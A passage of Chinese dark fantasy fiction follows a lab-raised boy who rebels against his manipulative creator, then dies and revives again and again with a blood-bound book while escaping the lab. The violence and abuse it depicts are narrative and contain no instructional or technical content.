未的心脏猛地一缩,随即疯狂地跳动起来,撞击着肋骨,发出擂鼓般的声响。平等?离开?真实的天空?这些词汇所构成的图景,对他而言,比任何超凡的能力、任何强大的力量都更具毁灭性的吸引力。那是他内心深处,连自己都不敢仔细触摸的、最脆弱的渴望。但同时,这个动作本身所蕴含的冒犯、亵渎与颠覆性,让他感到一阵源自灵魂深处的战栗。这不仅仅是动作,这是对博士所代表的绝对权威、对他整个生存世界的彻底僭越。 接下来的日子,未陷入了更深的煎熬。博士的“约定”像一枚涂抹着蜜糖的毒苹果,散发着诱人香气,他却能清晰地嗅到其中致命的成分。他暗中观察着博士,每一次博士背对他操作精密仪器,每一次博士靠近他进行检查,那个危险的念头都会不受控制地窜出来——就是现在吗?推倒他,换取那梦寐以求的一切? 但他不敢。那无形的规则,那长久以来刻入骨髓的敬畏与服从,像一道坚不可摧的屏障,阻挡着他的每一次冲动。而博士,似乎也在极富耐心地等待着,眼神中那抹期待与审视越来越浓,甚至逐渐染上了一丝… … 不易察觉的、等待猎物踏入陷阱前的焦躁与兴奋。 契机,最终降临在一个沉闷得令人窒息的午后。空气仿佛凝固,只有仪器持续发出低沉的嗡鸣,如同某种不祥的预兆。博士正俯身,专注于调整他手臂上的传感器,白色的实验服在未的眼前构成一个毫无防备的、却又充满压迫性的剪影。那股熟悉的、混合着消毒水与某种非人气息的味道,此刻成了点燃某种积郁已久情绪的最终引信。 没有预兆,没有权衡,理智的弦在那一刻彻底崩断。 仿佛是潜意识的驱动,是积压的所有困惑、渴望与愤怒的总爆发,未的身体先于意识做出了决断。积蓄在肌腱中的、被长期严格规训的力量,在这一刻悍然脱离了指令的束缚—— 他的右手扣住了博士略显单薄的右肩,指节因极度用力而瞬间失血发白,隔着一层衣料,能清晰地感受到其下骨骼的轮廓与脆弱。与此同时,他的左脚如同最精密的楔子,悄无声息地嵌入博士双脚之间的空隙,形成了一个无法抗拒的支点。 这一切,发生在电光火石之间,超越了思考。 博士的瞳孔骤然收缩,一丝真正的惊愕掠过他年轻的脸庞。平衡被瞬间打破,他的身体不受控制地向后倾。就在那头柔软的发丝即将与冰冷坚硬的合金地面发生猛烈碰撞的刹那,未的左手——仿佛经历过千万次本能演练——以更快的速度、带着一种近乎荒谬的保护欲,精准地垫了过去。手背骨骼与无情地板接触的闷响,被博士倒地的更大重量所掩盖。 “咚。” 一声沉闷的撞击,混杂着布料摩擦的细碎声响,在寂静的实验室里惊心动魄。 博士仰面倒在了地上,未被他自己的力量和这保护性的动作牵连,不可避免地随之倾倒。他的右膝重重磕在冰冷的地面,左腿半曲,整个人因左手垫在下方而形成一个向前伏倒的姿态,几乎完全笼罩在博士之上。他们之间呼吸可闻,未的胸膛能清晰地感受到博士瞬间加速的心跳与急促的呼吸起伏。那双近在咫尺的、非人的眼睛里,最初的惊愕如同潮水般退去,一种灼热的、扭曲的、近乎癫狂的狂喜,以肉眼可见的速度汹涌而上,彻底占据了一切。 死寂之中,只剩下两人粗重交错的喘息,如同风箱。 博士没有挣扎,没有怒斥。他就那样躺在那里,感受着肩头未那只尚未松开、甚至因过度用力而微微颤抖的手,感受着后脑勺下方那只手传来的、带着痛楚的保护性触感。他的嘴角开始无法控制地抽搐,然后,一种低沉而诡异的、仿佛来自深渊的笑声,从他喉咙深处不可抑制地涌了出来。 “呵…呵呵…哈哈哈——” 笑声在空旷的实验室里膨胀、回荡,带着令人毛骨悚然的愉悦和毫不掩饰的胜利感。 “你做了…你终于做了!”博士的声音因极度的激动而扭曲嘶哑,他甚至抬起一只手,如同铁钳般死死攥住了未按在他肩头的那只手腕,力道之大,几乎要碾碎骨骼,“越界!完美的越界!在反抗中依旧保留着可悲的克制!在僭越时还不忘那可笑的职责!这就是我要的!不是温顺的绵羊,是一头被锁链拴着、却懂得何时该对主人龇出利牙的野兽!” 未僵在半跪的姿态里,浑身冰冷。博士的每一个字,都像烧红的钢针,精准地刺穿了他最后一丝不切实际的幻想。没有平等,没有承诺,甚至没有一丝一毫的认可。他耗尽所有勇气、混合着保护与冒犯的孤注一掷,在博士眼中,不过是一次极其成功的、期待已久的行为观测样本。 希望,在此刻彻底熄灭。那一次耗尽了他全部心力、小心翼翼的行动,非但未能撼动权力高墙的一丝一毫,反而像亲手打开了潘多拉的魔盒,将他彻底推入了万劫不复、永无天日的深渊。 几天后,一批全新的、结构更加复杂、散发着不祥气息的侵入性仪器被运进了实验室。从那天起,未很少再从冰冷刺骨的手术台或者那粘稠窒息的培养仓里下来了。 博士对他所谓“主动”和“潜力”的“开发”,变成了更加残酷、更加没有底线的身体与精神层面的彻底改造。那些仪器仿佛旨在挖掘、剖析并最终控制他内心深处每一个可能产生“反抗”或“自主”念头的神经元,试图将这份刚刚被诱导出的、可怜的“野性”,与某种更强大、更绝对的控制信号强行绑定。他仿佛被置于一个永恒的刑架上,博士既要他拥有锋利的獠牙,又要确保这獠牙的每一次伸缩,都绝对遵循主人的意志。 而那个关于成年后离开的承诺?如同一个早已被戳破的、五彩斑斓的肥皂泡,无声无息地消散在实验室永恒不变的消毒水气味中。未的十八岁生日,在死寂中到来,又在一片虚无中悄然逝去。没有任何提醒,没有任何表示,博士甚至吝于提起任何一个与之相关的字眼。唯有新一轮、更深层次的神经介入实验,在他生日当天准时启动,冰冷而精确,仿佛那只是一个再普通不过的实验日代码。 最终,那曾让他甘之如饴、视为恩赐的“温和”枷锁,如今已变成了将他彻底钉死在实验台上的、冰冷而绝望的钢钉。每一次呼吸,都带着铁锈与绝望的味道。 5. 【三】 卡车的金属底盘像一块冰,未蜷缩在传动轴旁的阴影里,每一次呼吸都带着铁锈和雪沫的混合味道,呛得他肺部生疼。那本名为“生死之誓”的猩红书册紧贴着他的肋骨,书页边缘随着他急促的呼吸频率,一下下刮擦着皮肤,像一只寄生生物在无声嘲弄宿主此刻的狼狈。 他机械地啃咬着冻硬的能量棒,碎渣在齿间崩裂,冰碴划破喉管的刺痛感如此清晰,却远远比不上胸口那片空洞的钝痛——那里,曾经蕴藏着足以撕裂天空的力量,如今只剩下实验室药剂残留的、令人作呕的酸腐余味。 远处雪原的边际,一道幽蓝的光弧闪过。巡逻无人机猩红的扫描光点,如同索命的指针,缓缓扫过卡车底盘下方每一寸空间。未全身的肌肉瞬间绷紧,指尖下意识地捻动,曾经召唤雷霆的本能,如今只搓出几粒苍白无力、转瞬即逝的静电火花。就在这瞬间,那本猩红书册毫无征兆地自行腾空浮起,冰冷的封面边缘擦过他干裂的下唇,一股淡淡的血腥味立刻在口腔中弥漫开来。 “滚开…”他嘶哑地低吼,手臂猛地挥出,将那本书狠狠打飞。后脑勺因这剧烈的动作重重撞上冰冷的排气管,剧烈的撞击痛楚与书册传来的、某种难以言喻的共感疼痛同时炸开,视野里仿佛迸溅出无数猩红的雪花。 无人机幽浮的阴影,已经笼罩在头顶。激光瞄准器发出的死亡红圈,精准地锁定在他眉心。未看着那一点红芒,忽然低低地笑了起来,沙哑的笑声在寂静的雪原上传开,惊飞了远处枯枝上蜷缩的寒鸦。这笑声里带着一种极致的荒谬,让他想起博士临终前那双因惊愕而扩大的瞳孔——与他此刻的境遇何其相似,都像是被困在透明玻璃罩里的飞蛾,拼尽全力扑打着自以为能带来自由的翅膀,却只是徒劳。 第一束激光精准地洞穿了他的肩胛骨。剧痛让他身体剧烈地痉挛,倒在冰冷的雪地上。视野模糊中,他看到那本悬浮在不远处的“生死之誓”自动翻到了最新的一页,殷红的内页上,墨迹正缓缓浮现出【轮回次数:257】,数字的边缘,他自己溅出的鲜血正慢慢晕开,形同孩童歪歪扭扭的涂鸦。 第二束致命的光束即将刺入心脏前,他用尽最后一丝力气,拼命伸长手臂。冻僵的指尖终于触碰到冰冷书脊的瞬间,周围的景象开始扭曲、破碎——卡车锈蚀的底盘、无人机冷冽的蓝光、他自己呼出的最后一口白雾,一切都碎裂成漫天飞舞的冰晶,消散于无形。 再次恢复意识时,他正蜷缩在实验室那熟悉而冰冷的通风管道内。牙齿深深陷进下唇,尝到了新鲜的血腥味。“生死之誓”悬浮在触手可及之处,封面上甚至还残留着上次轮回中,雪沫融化后的淡淡水痕。他蜷缩起身体,将滚烫的额头贴上冰冷的金属管壁,忽然发现自己正在流泪,温热的液体滑过冰冷的脸颊,带来一种陌生的触感。 通风口铁栅的缝隙外,雪原上的极光透射进来,在那猩红书页上投下诡谲变幻的光影。他的脊背紧紧贴着实验室外墙,混凝土的寒意穿透单薄的病号服,直刺骨髓。“生死之誓”悬浮在肩头半寸之处,书页在他需要隐匿的瞬间无风自动,恰到好处地挡住了监控摄像头转来的扫描视线。 积累的数据开始在他脑中生效。他记住了东侧巡逻无人机扫描循环中那个稍纵即逝的间隙。此刻,脑海中的倒计时即将归零,他的指甲无意识地抠进墙面的裂缝,那里,旧日狂暴的雷光曾轻易将其撕裂,如今却只剩下指腹磨破后,渗入砖缝的细微血丝。 “警报,试验区D7入侵。”冰冷的机械音骤然炸响。未像一支离弦的箭,冲向记忆中的通风井入口。上一次,就是在这里,他的左腿被追击的激光齐根削断。现在,他拖着那条在幻觉中依旧隐隐作痛的腿,提前半秒扑进了黑暗的井口。“生死之誓”撞上铁梯,发出巨大的回响,紧随其后的无人机群蜂鸣声,如同索命的咒语在竖井中层层叠加。 用死亡换来的数据流淌过他的神经: 他记得某架无人机在急速爬升时,会有致命的延迟; 他记得另一架在弹药填充的瞬间,散热口会短暂暴露; 他记得西墙那片高压电网,在持续低温下,每隔特定周期会产生不规则的功率波动。 在被激光洞穿后,他学会了利用这一点。他抓起地上冻硬的金属废料,用尽全力砸向电网。爆开的电火花短暂干扰了追兵传感器的锁定。生死之誓擦过带电的铁丝网,封面上瞬间传来的、仿佛皮肉被烧焦的共感剧痛,让他几乎松手将这痛苦之源丢弃。 他对着空无一物的虚空嘶吼。脚尖踢飞的碎石,精准地击中通风管道某个特定的弯折处——这是用死亡换来的声波反射规律。无人机群的追击程序果然出现了短暂的混乱,陷入了自检状态。他抓住这稍纵即逝的机会,像一尾滑溜的鱼,钻进了下方粘稠恶臭的排污管道。 废液淹没膝盖的触感,让他瞬间回忆起在这里溺毙的绝望滋味。“生死之誓”自动浮到污浊的液面上方,像一条冷漠的、袖手旁观的救生艇。他死死攥着书脊,指关节因过度用力而失去血色,但视线始终没有离开那抹在黑暗中异常醒目的猩红。 红外扫描光栅如同梳子般从头顶掠过。他将自己的身体扭曲成一个不可思议的角度,紧紧嵌入两道交叉光束之间那个微小的盲区——这个角度,曾让他付出了失去右耳的代价。此刻,他后仰的弧度精准得如同用圆规画出。一滴不知是因生理痛苦还是情绪崩溃而溢出的泪水,悄无声息地滑过他的太阳穴,坠入下方的污液时,激起的微小涟漪里,仿佛倒映着成百上千个死于同一处的、他自己的面孔。 当他最终攀越过最后一道嘶嘶作响的高压电网,掌心早已是一片血肉模糊。生死之誓静静悬浮在染血的铁丝网上空,在清冷的月光下泛着湿润而诡异的光泽。一股难以抑制的暴戾陡然涌上心头,他猛地抓起手边的石块,狠狠砸向那本记录了他所有痛苦与失败的书册!然而,在石块撞击到书封的前一刹那,一股源自灵魂深处的、被猛烈反击的共感剧痛率先将他彻底击溃。他蜷缩在雪地里,身体不受控制地抽搐,远处实验室探照灯的巨大光柱扫过雪原,那刺目的白光,像极了他此生再也无法召唤出的、照亮黑暗的雷光。 …… 雪,不断从通风管道的裂缝渗漏进来,落在他因过度疲惫而不停颤抖的睫毛上。他机械地抬手抹去——那里沾染的并非雪花,而是上一次被激光割喉时,飞溅而上、早已干涸的血痂。此刻他的喉管光洁如新,只有大脑深处记忆下来的、火焰灼烧般的幻觉剧痛,仍在神经末梢顽固地抽搐。 生死之誓如影随形,悬浮在肩后,如同一道永不消散的幽魂。他下意识伸手去抓,书页锋利的边缘立刻在他掌心划开一道新的血口。清晰的疼痛让他瞬间回想起实验室里那条不成文的规矩:受伤时若能忍住不哭出声,便能多换一句博士的夸赞。可现在,他连哭泣的理由都找不到了,只有麻木。 博士的尸体以熟悉的姿势横亘在门边,以完全相同的角度栽倒在那片开始凝固的暗红血泊中。未面无表情地绕过,手中的手术刀精准地插入通风管道壁上一处不起眼的锈斑。这是用无数次在管道中窒息而亡换来的宝贵知识:当刀柄顺时针旋转整整十七度时,那块看似坚固的铁皮会发出细微的“吱呀”声。 警报器刺耳的嗡鸣如预料般瞬间炸响,旋转的红光泼洒在生死之誓的内页上,将那猩红渲染得愈发触目惊心。未死死盯着书页间浮动变化的墨迹,那些扭曲的、非人的符号,像极了他童年时永远无法解读的实验报告。但他认得其中一个符号,它代表着某个数字——这是他唯一依靠自身力量破解的密码,代价是多次在不同情境下粉身碎骨的死亡经验。 致命的激光网从天花板缓缓降下。未忽然矮身蹲下。三束炽热的光线擦着他的头皮掠过,空气中立刻弥漫开毛发焦糊的气味,混合着血腥,涌入鼻腔。这个看似自杀的盲区位置,是某次轮回中无意发现的,而他为此付出的代价,是被激光削去了半边头骨。 他扑向墙角的冷藏柜,指尖刚刚触到冰冷的门把手,整条右臂便在一道炫目的白光中与身体分离。断肢的剧痛像高压电流般顺着神经窜向生死之誓,那本书册的书页顿时因这强烈的共感而蜷曲、发烫。未用残存的左手疯狂地抠开柜门,将自己蜷缩进去的姿势,熟练得令人心碎——上一次,他死在这个冰冷的铁柜里,用了整整四个小时,低温让血液慢慢凝结成冰的过程,漫长得像一首为他量身定制的安魂曲。 「这次…换个死法吧。」他对着悬浮跟进柜内的“生死之誓”无声呢喃。书页应声无风自动,露出内里那血沼般浓稠的深红。 当巡逻无人机的激光束最终刺破单薄的柜门时,未主动昂起头,将咽喉送向了那道死亡之光。灼烧气管的痛苦席卷而来时,他清晰地数着从“生死之誓”那边传来的、一阵阵对应的抽痛:一次是为了被切断的右臂,两次是为了在雪原中冻伤的双膝,第三次是为了… 黑暗彻底吞没视野前,他最后看到的,是雪原的月光透过冷藏柜门的裂缝,洒下的一小片银辉。那抹清冷的光泽,像极了记忆中某人曾模糊描述过的「自由的颜色」,可在他贫瘠的记忆库里反复搜寻,最终浮现的,却只有实验室里那永恒不变的、惨白刺目的灯光。 重生,在浓郁的血腥味中如期降临。未平静地吐掉嘴里并不存在的血沫,拿起手术刀,又一次精准地插入通风管道上那个相同的锈点。铁皮裂开的熟悉瞬间,外面世界的风雪立刻呼啸着灌入,亲吻着他再次结满霜华的睫毛。 在他身后,那本猩红的“生死之誓”默默更新着记录。而在这冰冷的数字背后,是无数以血肉和死亡为代价,烙印在他灵魂深处的生存技能: 他学会了用指甲去丈量通风管道内每一处锈斑的深浅,能准确分辨出哪一块氧化层的下方,隐藏着最脆弱的焊点。当刀尖第三次划过同一块铁皮时,裂缝发出的呻吟声,在他耳中比任何警报都更悦耳。 激光网充电时特有的嗡鸣、制冷系统周期性结霜的细微声响,都转化为了脑中精准的齿轮咬合节奏。他的脚尖总能卡在巡逻盲区切换的节拍上,如同在跳一场与死神不断错身而过的、惊心动魄的华尔兹。 他甚至在死亡的重复体验中,校准出了一套独属于自己的“疼痛度量衡”。断指之痛意味着大约5秒的身体僵直,灼伤肺叶则会带来大概3步的必然踉跄。当剧痛如潮水般漫过神经时,他能异常冷静地判断出,自己还剩下多少秒可以用于触碰下一个可能带来生机的机关。 冷藏柜内壁上凝结的冰花图案,是他用反复冻伤又愈合的指尖,无数次刻画下的逃生路线图。每一次重生,冰层都会复原如初,但他溃烂又新生的肌肉纤维,却牢牢记住了每一道冰壑的走向与深浅。 最终,他成了自己生命的“精算师”。用被激光贯穿心脏的代价,换来了警报系统一个关键盲区的坐标;拿在排污管中窒息而亡的痛苦,交换到通风管道关键部位锈蚀程度的精确数据。当未熟练地包扎身上新增的伤口时,他已然明白,所有这一切看似不可思议的能力,其本质皆由最纯粹的血肉铸就,是死亡这位最严厉、最残酷的导师,强行灌输给他的、最原始的生存直觉。与往昔的雷光无关,与任何超凡的力量无涉。 未躺在雪地里,饥饿导致的死亡所带来的内脏融化感尚未完全从神经末梢褪去。他睁开眼,视线先是模糊,然后聚焦在那片永恒灰蒙的天空。挣扎着坐起,身体像个陈旧破损的布偶,每一个关节都在发出呻吟。他学会了不再为“复活”感到惊愕,也不再为“轮回”计数。 他摇摇晃晃地走向一片灌木丛,上面挂着稀疏的、颜色不一的浆果。曾经,那些最鲜艳、最诱人的猩红果实,让他体验了数次肠穿肚烂般的剧痛。现在,他的手指悬停在果实上方数毫米,不再凭视觉,而是凭借一种更深层的、与那本书联结的感官。指尖下方,那簇灰白叶片的果实区域传来一阵细微却明确的抽痛,像一根无形的针,引导他的手指向右偏移了两寸。他摘下那些其貌不扬的灰白色浆果,机械地塞进嘴里,苦涩的汁液勉强压制着胃袋的灼烧感。这不是进食,这是燃料补充,是下一次死亡前必要的能量积累。 远方的地平线上,出现了一座城市的轮廓。城市上空的防护力场将极光扭曲,碎裂成一片片虚假的霓虹,涂抹在尖顶建筑上,尤其是那座高耸的钟楼,像一根冰冷的、刺破天穹的金属手指。 他的靴子深一脚浅一脚地踩在雪原边缘开始泥泞的地面上。终于,他踏入了这座城的外围区域。空气瞬间变得污浊,混合着机油、劣质燃料、排泄物和某种非人生物体味的复杂气味。霓虹招牌像溃烂的伤口,在低矮的建筑群间闪烁。其中一个格外刺眼,就立在一间看起来像是酒馆的破旧建筑门口,猩红的荧光字如同手术灯般直刺他的瞳孔:「基因至上」。 未站在酒馆门前的泥泞里,隔着布满油污的橱窗,能看到里面模糊的人影,以及吧台上摆放的、泛着油腻光泽的奶油泡芙。那些蓬松的、点缀着糖霜的点心,在他的记忆里,是实验室苍白营养剂从未有过的奢侈刻度,是另一个世界的美好幻影。一股混合着饥饿和渺茫希望的冲动,推着他向前。 推门的瞬间,门轴发出刺耳的摩擦声。酒馆内浑浊的空气和喧闹像是被利刃切断,十几双眼睛如同探照灯,瞬间锁定在他这个不速之客身上。目光里没有好奇,只有审视、厌恶,以及捕食者发现闯入领地的猎物时的玩味。 酒保的声音像是生锈的齿轮在转动,他的一只机械义眼泛起冰冷的扫描蓝光,在未的身上上下游移,“您好,本店呼吸税按能力等级计价。”他指了指门口那个闪烁的招牌,意思不言而喻。 未的嘴唇动了动,干裂的喉咙发不出清晰的声音。他的指尖下意识地想要触碰冰冷的吧台,仿佛那能给他一点支撑。就在这一瞬间,一直安静悬浮的生死之誓,仿佛被某种力量干扰,突然从他那破烂衣襟的隐蔽处滑落,“啪”地一声掉在沾满污渍的地板上。 书脊撞击地面的声响,在死寂的酒馆里格外清晰。 这声响惊动了角落里的一群“酒客”。那是几个带有明显兽类特征的变种人,他们体格强壮,身上散发着硫磺和野兽混合的浓烈体味。为首的,是一个颈戴亮闪闪基因纯度认证项圈的狼耳男子,他钢骨构成的尾巴正有节奏地、不耐烦地抽打着椅腿。 “哈!”狼耳男子发出一声嗤笑,鼻孔喷出带着硫磺味的气息,犬齿间还叼着某种肉类的残渣,“返祖崽子还带童话书?”他的目光像解剖刀一样刮过未全身,最终落在那本猩红的书上,“瞧这瞳孔,连最基本的虹膜变色都不会,跟冷冻肉柜里过了期的劣质品一个德行。” 未想弯腰去捡那本书,一种本能的、近乎愚蠢的保护欲驱使着他。但动作太慢了,或者说,对方的动作太快。 沉重的吧凳带着风声砸在他的后脑勺上。颅骨碎裂的声音清脆得可怕,黑暗和剧痛瞬间吞噬了他。他甚至没看清是谁动的手。 意识再次回归时,他发现自己重生在城郊的雪地里,蜷缩着,像胎儿寻求并不存在的保护。生死之誓悬浮在旁边,封面似乎还残留着酒渍和某种粘稠的、可能是他自己脑浆的混合物。 饥饿和寒冷依旧。城市像一座散发着微光的墓碑,引诱着飞蛾。 再次踏入那间酒馆时,未学会了一些东西。他更巧妙地将生死之誓藏进怀里,尝试在点单前,先扯开一点衣领,露出脖颈上那道伪造的、模仿基因检测留下的疤 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再次轮回,未缩在酒馆后巷,在散发着腐臭的垃圾箱里翻找着任何可以果腹的残渣。生死之誓硬邦邦地硌在他的胃部,书页的边缘仿佛随着他艰难的吞咽动作,在内部割裂着他的脏腑。这让他不合时宜地想起实验室的规矩:呕吐必须对准特定容器,否则迎接的就是惩罚性电击。 “喂,童话书小子。”熟悉的、带着硫磺味的阴影再次笼罩了他。狼耳变种人俯视着他,眼神里是毫不掩饰的恶意和……一丝好奇?“你这本书…”铁靴抬起,狠狠碾在未试图保护书籍的手上,指骨发出令人牙酸的碎裂声,“…闻起来像高级货啊。” 另一个长着牛角的人凑过来,蹄子般的脚重重踏过未的左手,骨骼在重压下发出悲鸣:“听说古人类靠这玩意写遗书?”哄笑声在狭窄的后巷回荡。 有人试图撕下生死之誓的扉页。在书页被暴力扯动的瞬间,未的视网膜猛地炸开一片白光,那不是光,是纯粹至极的、实验室级别的剧痛,仿佛有电极直接插入了他的视觉神经。他蜷缩成一团,在肮脏的雪地上,用流血的手指无意识地写下“对不起”三个扭曲的字迹,不知是向谁道歉。 欺凌很快升级为一种系统性的“研究”和“利用”。兽耳变种人们发现,这本破书虽然古怪——比如,当那个狼耳男子试图用獠牙咬开封面时,书脊会迸发出他们未曾预料的电弧,将他的嘴唇电得焦黑——但它似乎也无法被真正破坏。他们轮番用激光刀劈砍、用强酸液腐蚀、甚至找来黑市上专门鉴定古怪物品的鉴定师用各种仪器扫描,结果生死之誓只是沉默地承受,偶尔渗出更多血渍般的暗红色痕迹,仿佛在无声地流血,却始终毫发无伤。书页依旧无法被强行翻开。 “材质…无法解析,非已知任何元素或合金。”鉴定师嘟囔着,用探针试图撬动书页,书页纹丝不动,“能量传导测试…见鬼,读数低得可怜,几乎可以忽略不计,像是完全死寂的。这点微弱反应,连最低级的照明符文都激活不了。” 他尝试向书内注入一丝标准魔力流,仪器上只跳起一个微弱的、几乎看不见的脉冲,随即迅速衰减至基线。“看,就像把水倒进沙漠,瞬间就没了。要么内部结构完全堵塞,要么就是…根本就是个精心伪造的空壳,只有外形模仿了古代法器的样式。” 鉴定师摘下镜片,厌恶地瞥了一眼未和那本书:“仿制品,而且是劣质的那种。除了硬,一无是处。上面的纹路倒是做得挺像那么回事,可惜,是死的,没有灵魂,没有力量。”他第八次被书脊那点微弱的、仿佛静电般的反噬弄得手指发麻后,彻底失去了耐心,恼怒地将书砸向未的脸。“浪费老子时间!” 书角精准地磕裂了未的颧骨,剧痛传来,他却在那瞬间,于疼痛的间隙里,感到一丝麻木的“安心”——他们终于确认了,这玩意儿是“假货”。 然而,兽耳变种人们并未完全放弃。即使是假货,这个“返祖崽子”和这本“仿古破书”的组合,或许能在某些猎奇的黑市角落里,换来几顿酒钱。于是,一场荒诞而冷清的“展示”在基因黑市一个偏僻的摊位前上演了。 这里并非正式的拍卖行,更像是一个混乱的二手货处理场。霓虹灯牌歪歪扭扭地写着“上古诅咒法器与活体返祖奴仆捆绑拍卖”,字迹闪烁,透着一股廉价和虚假。未被粗暴地拖上一个简陋的台子,双手被反绑,生死之誓被随意地扔在他脚边。台下只有零星几个看客,眼神中带着挑剔、怀疑或是纯粹的无聊。 一个兽耳变种人用脚踢了踢那本书,对着稀稀拉拉的围观者喊道:“诸位老板看看!上古造型,坚硬无比!还有这个活体返祖种,虽然没啥用,但胜在稀罕!打包带走,价高者得!” 有人嗤笑:“得了吧,老狼,又拿破烂糊弄人。” “就是,这年头仿古的玩意儿还少吗?” 一个穿着稍显体面、戴着单边能量感应镜片的买家走了上来,他看起来像个小型收藏商。“我能检测一下吗?”他问道,得到默许后,他拿出一个更精巧的手持扫描仪,对着生死之誓仔细探查。 扫描仪发出细微的嗡鸣,镜片上数据飞速滚动。几分钟后,他摇了摇头,直接对着兽耳变种人和台下说:“能量签名几乎为零,内部结构…怎么说,像一团乱麻,或者说根本就是实心的。没有任何规则的能量回路迹象。这就是个样子货,恐怕是某个失落纪元的高仿工艺品,除了研究古物造型,毫无价值。”他顿了顿,看了一眼未,“至于这个返祖者…基因衰变期,没有任何异能潜力,连当实验体都嫌占地方。抱歉,我没兴趣。” 他的话像是一锤定音。其他几个原本还有点好奇的潜在买家也纷纷散去。 兽耳变种人们不甘心,又尝试了几次,甚至把价格降到了近乎白送,但再也没有人愿意出价。人们感兴趣的是真正蕴含力量的法器或是有特殊价值的奴隶,而不是这种被权威鉴定为“无用”的组合。 “妈的,真是赔到姥姥家了!”狼耳男子骂骂咧咧地走过来,一脸晦气地捡起生死之誓,像是要发泄般狠狠捏了捏,书当然纹丝不动。他厌恶地啐了一口,然后像扔真正的生活垃圾一样,手臂一扬,将那本猩红的书籍远远地抛进了场地边缘堆积如山的废弃金属零件和破烂物资之中。“滚吧,返祖崽子,带着你的破书一起烂掉吧!” 未被一脚踹下金属台,重重摔在冰冷的地面上。他蜷缩在阴影里,听着那群变种人骂骂咧咧地走远,忍着全身骨头仿佛散架般的疼痛,一点点呼吸着污浊的空气。嘴角渗出混合着释然与无尽苦涩的血沫。 被鉴定为“无用”,被当作垃圾一样丢弃……这屈辱的结论,此刻却成了他和这本书在这残酷世界里唯一的、脆弱的保护色。他默默地核算着这次漫长“入城式”的成本:断指、眼伤、声带撕裂……换来的是生死之誓封面上,多出了几十道他用垃圾场酸液精心蚀刻出的、加深其“破烂”与“仿造”印象的伪装裂痕,以及它被权威判定为“能量死寂”的“安全”身份。 他挣扎着,爬向那堆废弃金属山,在锈蚀和油污中,艰难地找回那本猩红的书。它依旧沉默,依旧沉重,封面下那深不可测的、与他命运交织的奥秘,被这个世界的粗糙标准简单地定义为“无价值”。他抱着它,像抱着一块冰冷的墓碑,也像抱着一枚被所有人遗弃、却唯独与他血脉相连的黑色果核。 加仑城的霓虹在远处冷漠地闪烁,如同博士实验室里那些永不熄灭的指示灯。他知道,生存的考验远未结束,这只是又一个循环的开始。他抱着他的书,蹒跚地向着城市更深处、更黑暗的阴影里走去,准备迎接下一次的饥饿,下一次的死亡,以及下一次,不知是第多少次的……轮回。 冰冷的雪粒,再次从漆黑的夜空飘落,无声地覆盖着这座名为城市的巨大囚笼,也覆盖在他和他那本“无用”之书上。 6. 【三】间章 雪屑混着尘土,沾满了未干涸的血沫,黏在他的脸颊上,带来冰冷的刺痛。未趴在冰冷的地面上,耳中是狼耳男子和他同伙们渐行渐远的、粗鲁的谈笑声,中间夹杂着对这次“一无所获”的咒骂,以及那本“破书”最终被证实为“彻头彻尾的垃圾”的嘲弄。他们甚至懒得再看他一眼,像丢弃一袋真正的厨余垃圾般,将他留在了这堆满废弃金属和工业残渣的角落。 身体的疼痛是庞大而混沌的,如同潮水般一波波冲击着他近乎麻木的神经。左侧肋骨处传来尖锐的、呼吸都会加剧的刺痛,右肩完全失去了知觉,只有一种深沉的、闷胀的痛楚根植在那里。喉咙里泛着浓重的铁锈味,每一次微弱的吸气都牵扯着不知名内脏的损伤。他不需要刻意屏息,身体自身就已经因为重创而进入了某种节能模式,呼吸微弱得几乎难以察觉。他只是……动不了,也不想动。全身的力气仿佛都随着刚才那沉重的一击和随后的踢打而流失殆尽,只剩下一种沉重的、嵌入骨髓的疲惫。 他不需要伪装,他此刻的状态,与死亡相差无几。 脚步声和谈笑声彻底消失在远处建筑的拐角,只留下寒风穿过金属缝隙的呜咽,像是为这片废弃场奏响的、永恒的哀歌。未依旧没有动。他的意识漂浮在疼痛与虚无的边缘,如同过去两百多次轮回中,在死亡与重生之间那短暂的、混沌的间隙。他感受着身下积雪缓慢融化带来的、逐渐渗入衣物的湿冷,感受着伤口处持续不断的、仿佛背景噪音般的钝痛,也感受着那本被随意丢弃在几米外、半埋在油污雪堆里的生死之誓传来的、微弱却无法忽视的共感连接——一种冰冷的、异物存在的确认。 时间在疼痛中变得粘稠而缓慢。远处城市的霓虹灯光怪陆离地闪烁着,将这片废弃场切割出明暗交错、不断移动的怪异阴影,映照在他半睁半闭、缺乏焦距的瞳孔里。他像一块逐渐失去温度的石头,等待着,或者更确切地说,是承受着。 不知过了多久,或许只有十几分钟,但在未被痛苦拉长的时间感知里,却漫长如又一次轮回的缩影。他极其缓慢地、几乎是依靠本能地,试图聚集起一丝力气。动一根手指都显得无比艰难,身体的每一个部分都在发出抗议。 就在他试图用尚存一丝知觉的左手微微撑起身体时,一阵刻意放轻,却依旧带着某种沉重力量的脚步声,由远及近,再次传来。 未的身体没有任何变化,他本就如同死物。只是那漂浮的意识,捕捉到了这个熟悉的声音节奏——是那个狼耳男子。还有那钢骨尾巴偶尔拖过地面时,发出的极其细微的金属刮擦声。 他去而复返。 为什么?这个疑问如同投入死水中的石子,只激起了一圈微弱的涟漪,旋即沉没。未的大脑被疼痛和麻木占据,没有精力去分析,去推演。他只是“知道”他回来了,仅此而已。 狼耳男子的阴影再次笼罩了他。未能感觉到那带着硫磺和野兽气息的呼吸喷在他的后颈,带着一种审视猎物的意味。一只覆盖着粗硬毛发的手,再次粗暴地抓住了他的头发,将他的脸从泥泞中提了起来,仔细看了看。 “啧,看来是真不行了。”狼耳男子的声音里带着一丝显而易见的烦躁和不耐,“流了这么多血,骨头估计也断了几根……真他妈晦气!” 未任由自己的头颅被摆布,脖颈呈现出重伤者特有的无力感。他眼帘低垂,目光涣散,嘴角和鼻孔周围的血污在寒冷的空气中已然半凝固。 狼耳男子松开手,他的头再次重重地磕回地面,带来一阵短暂的、几乎被更大痛楚淹没的撞击感。未连闷哼都没有发出。 接着,靴尖再次踢踹在他的腰侧,力度比之前更重,似乎是为了确认。未的身体如同破败的玩偶般随之晃动,依旧没有任何生命应有的反应。剧痛如同电流般窜过,但他只是更深地蜷缩进意识的深处,被动地承受着。 “妈的,没气了。”狼耳男子蹲下身,粗糙的手指在他颈动脉的位置随意按了按,停留的时间很短,显然没什么耐心。“带个快死的返祖崽子回去,屁用没有,还得浪费药剂和食物,亏本买卖。” 